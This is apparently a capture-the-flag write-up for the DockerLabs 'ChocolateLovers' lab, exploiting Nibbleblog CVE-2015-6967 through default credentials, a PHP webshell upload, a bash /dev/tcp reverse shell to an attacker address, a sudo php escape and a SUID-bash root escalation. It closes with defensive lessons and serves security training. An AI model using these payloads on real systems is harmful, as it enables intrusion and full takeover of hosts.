the_open_door
coffee
ESEN

ChocolateLovers

DockerLabsEasyLinux172.17.0.2

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dockerlabs#nibbleblog#cve-2015-6967#file-upload#rce#reverse-shell#sudo#gtfobins#suid#writable-script
TL;DR. ChocolateLovers runs Nibbleblog, a lightweight CMS whose panel gives in to the default credentials admin:admin. The version is vulnerable to CVE-2015-6967, an unrestricted file upload in the My image plugin that yields RCE and a reverse shell as www-data. From there, sudo -u chocolate php (GTFOBins) pivots to chocolate, owner of a script root executes: rewriting it to SUID /bin/bash escalates to root with bash -p.

Recon

Initial scan

The port scan leaves a web server as the only surface.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
PORT   STATE SERVICE
80/tcp open  http
nmap -p80 -sCV <ip> -oN targeted
whatweb http://<ip>

Directory fuzzing

dirsearch and a look at index.html point to a /nibbleblog/ path and, inside, to its admin panel:

dirsearch -u http://<ip>

Access: Nibbleblog

From the panel to default credentials

The /nibbleblog/admin.php panel invites a brute force, but Nibbleblog locks the connection after several failed attempts, so hydra returns a shower of false positives:

hydra -L users.txt -P <rockyou.txt> "http-post-form://<ip>/nibbleblog/admin.php:username=^USER^&password=^PASS^:Invalid username or password"

The answer isn't brute force but trying the obvious: admin:admin works. A reminder to check default credentials before firing noisy tools.

CVE-2015-6967

Once authenticated, we identify the Nibbleblog version. Those before 4.0.5 suffer CVE-2015-6967: the My image plugin lets you upload files without validating their type, which end up accessible and executable under /nibbleblog/content/private/plugins/my_image/. It's a file upload to RCE.

Shell as www-data

Upload the webshell

From the panel we install the My image plugin and upload a minimal PHP instead of an image:

<?php echo shell_exec($_REQUEST['cmd']); ?>

The file lands in the plugin path, where the server executes it. RCE confirmed:

curl "http://<ip>/nibbleblog/content/private/plugins/my_image/image.php?cmd=id"

Reverse shell

With command execution, we set up a listener on 443:

nc -lvnp 443

and the bash one-liner sets up the reverse shell:

bash -c "bash -i >&/dev/tcp/<attacker-ip>/443 0>&1"

After a TTY upgrade, we have a shell as www-data.

Escalation: www-data → chocolate

www-data can run php as user chocolate without a password:

sudo -l
User www-data may run the following commands:
    (chocolate) NOPASSWD: /usr/bin/php

GTFOBins documents that php -r runs system commands; with -u chocolate the resulting shell belongs to that user:

sudo -u chocolate /usr/bin/php -r "system('/bin/sh');"

Escalation: chocolate → root

A writable root script

Listing processes shows root periodically running a script. The file, however, belongs to chocolate:

ps aux | grep root
ls -l /opt/script.php
-rwxrwxr-x 1 chocolate chocolate  ... /opt/script.php

A script root runs but another user can write is a direct escalation: replace its content with a payload that SUIDs bash. When root runs it again, it executes as root:

echo '<?php exec("chmod u+s /bin/bash"); ?>' > /opt/script.php

bash -p

With /bin/bash marked SUID, bash -p keeps root's EUID and hands over the privileged shell:

ls -l /bin/bash
bash -p
# id
uid=1001(chocolate) gid=1001(chocolate) euid=0(root) groups=...

Attack chain

HTTP  ->  /nibbleblog/admin.php  ->  admin:admin (default credentials)
    └─> CVE-2015-6967 (My image plugin, unrestricted upload)  ->  webshell  ->  RCE
            └─> reverse shell  ->  www-data
                    └─> sudo -u chocolate php -r system()  ->  chocolate
                            └─> writable /opt/script.php (run by root)  ->  chmod u+s /bin/bash
                                    └─> bash -p  ->  root

Lessons learned

  • Try the obvious before brute forcing. A panel with admin:admin saves the noise (and false positives) of hydra against a CMS that also locks out on failed attempts.
  • An unpatched CMS is RCE on a plate. CVE-2015-6967 turns an image plugin into a webshell upload; keeping Nibbleblog >= 4.0.5 closes it.
  • Mind who owns what root executes. A script launched by root but writable by another user is instant escalation; the file's owner and permissions matter as much as who runs it.
  • The SUID bit on bash is the classic backdoor. chmod u+s /bin/bash + bash -p gives root with no password; audit SUID binaries regularly.
Command cheatsheet 9 commands

Quick review